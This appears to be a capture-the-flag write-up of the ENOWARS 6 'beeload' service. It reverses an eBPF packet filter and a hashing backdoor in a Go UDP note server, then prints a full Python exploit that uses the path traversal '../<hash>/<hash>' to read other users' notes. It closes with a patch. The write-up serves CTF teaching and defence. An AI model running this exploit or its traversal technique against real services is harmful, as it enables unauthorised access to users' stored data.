ENOWARS 6 - beeload
beeload is a CLI binary that was part of ENOWARS 6. While featuring a path traversal vulnerability at its core, the exploit chain had some interesting twists.
Service Overview
The service consists of a docker-compose setup featuring two instances of a UDP server implemented in go. Each of these instances is configured to listen on a different port (10001 and 10002), and features a differently configured nodeId
parameter (0 and 1).
On receiving a UDP packet, the server will parse the packet into a fixed-length packet structure. The packet structure is as follows:
type header struct {
instruction uint8
seqN uint8
err uint8
nodeId uint8
}
type message struct {
user string
password string
name string
data string
}
Each message string consists of 255 zero-padded bytes.
The server supports two instructions, INSTRCREATE
and INSTRLOAD
.
These instructions allow storing and retrieving notes from the server’s file system.
When not registered, the server implicitly stores a user’s credentials on creating a new note. These credentials are also stored in the file system.
File Structure
A user’s password is stored by first calculating the MD5 hash of the username.
Then, a folder is created with the name of the hash, and the user’s password is stored in the same folder in a file called password
.
Notes are stored by first calculating the username’s SHA1 hash. Each note’s filename is then determined by the SHA1 hash of the note’s name.
data/
|-- 5b7c993792f3d4f260a62a57cdab974097919838/
| `-- password
|-- 27e6b320cef355ad8a53a02445864aa7/
| `-- ebe66b1f952434cc6df500efa7862d0d
| `-- a8f5f167f44f4964e6c998dee827110c
Network Analysis
Traffic inspection showed that the game server registered users with random usernames and passwords. These users then created a note called flag
with the flag as its content:
00 01 00 00 57 79 47 78 43 50 54 66 69 44 36 57 ....WyGx CPTfiD6W
6f 59 73 31 00 00 00 00 00 00 00 00 00 00 00 00 oYs1.... ........
...
00 00 00 6f 45 71 4e 4e 72 74 65 68 51 4c 4c 78 ...oEqNN rtehQLLx
6d 6b 46 00 00 00 00 00 00 00 00 00 00 00 00 00 mkF..... ........
...
00 00 66 6c 61 67 00 00 00 00 00 00 00 00 00 00 ..flag.. ........
...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00 45 4e 4f 66 79 56 67 64 6a 59 48 74 47 74 4d .ENOfyVg djYHtGtM
44 54 76 6f 64 75 7a 50 47 68 5a 50 58 45 52 6e DTvoduzP GhZPXERn
47 47 54 4a 53 47 63 4f 74 4f 6c 55 4a 62 41 68 GGTJSGcO tOlUJbAh
61 50 58 47 00 00 00 00 00 00 00 00 00 00 00 00 aPXG.... ........
Flag account usernames were included in the CTF’s attack_info.json
file.
The Backdoor
Careful examination of the server’s hash implementations reveals a slightly obfuscated backdoor:
func getLocationHash(str string) string {
hash := str
for i := 0; i < nodeID; i++ {
return fmt.Sprintf("%x", md5.Sum([]byte(hash)))
}
return hash
}
func readNote(user, filename string) ([]byte, error) {
file, err := os.Open(fmt.Sprintf("./data/%s/%s", getLocationHash(user), getLocationHash(filename)))
if err != nil {
...
When connecting to the server on port 10001, a nodeID
of 0 is used, and any hash functionality is completely skipped. Instead, the input string is returned as-is.
This would allow an attacker to perform a classic path traversal attack, and retrieve the password file. The attacker could then use the password to log in to the server. The attacker could also directly access other user’s notes.
Triggering the Backdoor
Users aren’t connecting to each server by choice. Instead, a closed source eBPF kernel module is used to redirect incoming traffic on port 10000 to one of the two instances listening on ports 10001 and 10002. (All usual traffic is redirected to the first instance.)
To trigger the backdoor, an attacker must convince the filter to redirect his packets to the second instance - it’s finally time for some reverse engineering!
Reversing the Filter
eBPF modules aren’t compiled to native code. Instead, they are compiled to bytecode and then executed in a sandboxed virtual machine environment.
Luckily, there are some tools available to deal with this. Our best results came from using a plugin called eBPF processor for Ghidra, which lifts the VM instructions and gives us access to our trusty decompiler.
By tickling the bytecode and incorporating the packet structure dictated by the server, we obtained the following pseudo-C code:
undefined8 xdp_ld(xdp_md *ctx)
{
undefined8 ret;
ulonglong hash_off_1;
packet_data *data;
u_int16_t dest;
uint data_end;
ulonglong hash_off_3;
ulonglong hash_off_2;
ulonglong hash_off_0;
ulonglong i;
bool user_left;
ret = 0;
_data_end = *(packet_data **)&ctx->data_end;
data = *(packet_data **)ctx;
/* Are we looking at a UDP packet to port 10000 (htons 0x1027)? */
if ((((&data->ip <= _data_end) &&
(ret = 2, (*(longlong *)((longlong) & (data->eth).h_proto + 1) << 8 |
*(ulonglong *)&(data->eth).h_proto) == 8)) &&
(ret = 0, &data->udp <= _data_end)) &&
(((ret = 2, *(longlong *)&(data->ip).protocol == IPPROTO_UDP &&
(ret = 0, &data->instruction <= _data_end)) &&
((ret = 2, *(longlong *)&(data->udp).dest == 0x1027 && (ret = 0, data + 1 <= _data_end))))))
{
/* Redirect the packet to port 10001 / 10002,
depending on valid username hash
*/
hash_off_3 = 0;
hash_off_2 = 0;
hash_off_1 = 0;
hash_off_0 = 0;
i = 0;
do
{
if (*(ulonglong *)(data->user + i) == 0)
break;
hash_off_0 = *(ulonglong *)(data->user + i) ^ hash_off_0;
if (*(ulonglong *)(data->user + i + 1) == 0)
break;
hash_off_1 = *(ulonglong *)(data->user + i + 1) ^ hash_off_1;
if (*(ulonglong *)(data->user + i + 2) == 0)
break;
hash_off_2 = *(ulonglong *)(data->user + i + 2) ^ hash_off_2;
if (*(ulonglong *)(data->user + i + 3) == 0)
break;
hash_off_3 = hash_off_3 ^ *(ulonglong *)(data->user + i + 3);
user_left = i < 251;
i = i + 4;
} while (user_left);
/* If the hash is valid, redirect to port 10001 */
dest = 0x1127;
if (((hash_off_0 << 0x18 | hash_off_3) & 0xffffffff | (hash_off_1 & 0xff) << 0x10 |
(hash_off_2 & 0xff) << 8) != 0x12345678)
{
/* Invalid hash, redirect to 10002 instead! */
dest = 0x1227;
}
(data->udp).dest = dest;
ret = 2;
}
return ret;
}
The analysis reveals that the username contained in the packet is hashed using a simple 4-byte-block XOR-loop. If the resulting hash matches 0x12345678, the packet is redirected to port 10001. Otherwise, it is redirected to port 10002. Constructing a valid (all-printable) username is fairly easy.
Automating the Attack
The following python script automates the attack by first registering with a username known to trigger the backdoor, and then abusing path traversal to retrieve the content of a flag user’s note.
import socket
import argparse
from enum import Enum
from struct import pack, unpack
import logging
from urllib import response
from hashlib import sha1, md5
class API:
STRLEN = 255
class Command(Enum):
INSTRCREATE = 0
INSTRLOAD = 1
class Error(Enum):
WRONGINPUT = 1
NOTECREATE = 2
NOTELOAD = 3
UNKNOWNOP = 4
NOTEEXISTS = 5
def __init__(self, host, port):
self.host = host
self.port = port
self.client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.seqno = 0
self.packet = bytearray()
logging.basicConfig(level=logging.INFO)
self.logger = logging.getLogger("API")
self.client.connect((self.host, self.port))
self.logger.info(f"Connected to {self.host}:{self.port}")
def __handle_response(self):
resp = self.client.recv(4 + self.STRLEN)
if not resp:
return None
instruction, seqno, error, node_id = unpack("<BBBB", resp[0:4])
if error:
self.logger.info(f"Error: {self.Error(error).name}")
if instruction == self.Command.INSTRLOAD.value:
note = unpack(f"<{self.STRLEN}s", resp[4:])[0]
self.logger.info(f"Loaded note: {note.decode()}")
def __send_header(self, command: Command):
self.seqno += 1
header_bytes = pack("<BBBB", command.value, self.seqno, 0, 0)
self.logger.info(f"__send_header: {len(header_bytes)}")
self.packet += header_bytes
def __send_auth(self, username: str, password: str):
auth_bytes = pack(
f"<{self.STRLEN}s{self.STRLEN}s", username.encode(), password.encode()
)
self.logger.info(f"__send_auth: {len(auth_bytes)}")
self.packet += auth_bytes
def __send_message(self, name: str, data: str):
message_bytes = pack(
f"<{self.STRLEN}s{self.STRLEN}s", name.encode(), data.encode()
)
self.logger.info(f"__send_message: {len(message_bytes)}")
self.packet += message_bytes
def __issue_command(
self,
command: Command,
username: str,
password: str,
message_name: str,
message_data: str,
):
self.__send_header(command)
self.__send_auth(username, password)
self.__send_message(message_name, message_data)
self.client.sendall(self.packet)
self.packet.clear()
self.logger.info(f"Sent {command.name} command")
self.__handle_response()
def create(self, username: str, password: str, note_name: str, note_cotent: str):
self.__issue_command(
self.Command.INSTRCREATE, username, password, note_name, note_cotent
)
def load(self, username: str, password: str, note_name: str):
self.__issue_command(self.Command.INSTRLOAD, username, password, note_name, "")
def main(address: str, port: int):
flag_user_location_hash = md5('WyGxCPTfiD6WoYs1'.encode()).hexdigest()
flag_location_hash = md5('flag'.encode()).hexdigest()
client = API(address, port)
client.create(
b"\x7e\x7e\x7e\x5f\x33\x4a\x28\x27\x5f".decode(),
"some_pass", "important message", "your flags are at risk!"
)
client.load(b"\x7e\x7e\x7e\x5f\x33\x4a\x28\x27\x5f".decode(),
"some_pass",
f"../{flag_user_location_hash}/{flag_location_hash}"
)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Beeload Client")
parser.add_argument("-p", "--port", type=int, default=10000, help="Port number")
parser.add_argument("-a", "--address", default="10.1.1.1", help="Address")
args = parser.parse_args()
main(args.address, args.port)
Patching the Service
Patching the service is as simple as setting the nodeId
of both server instances to 1.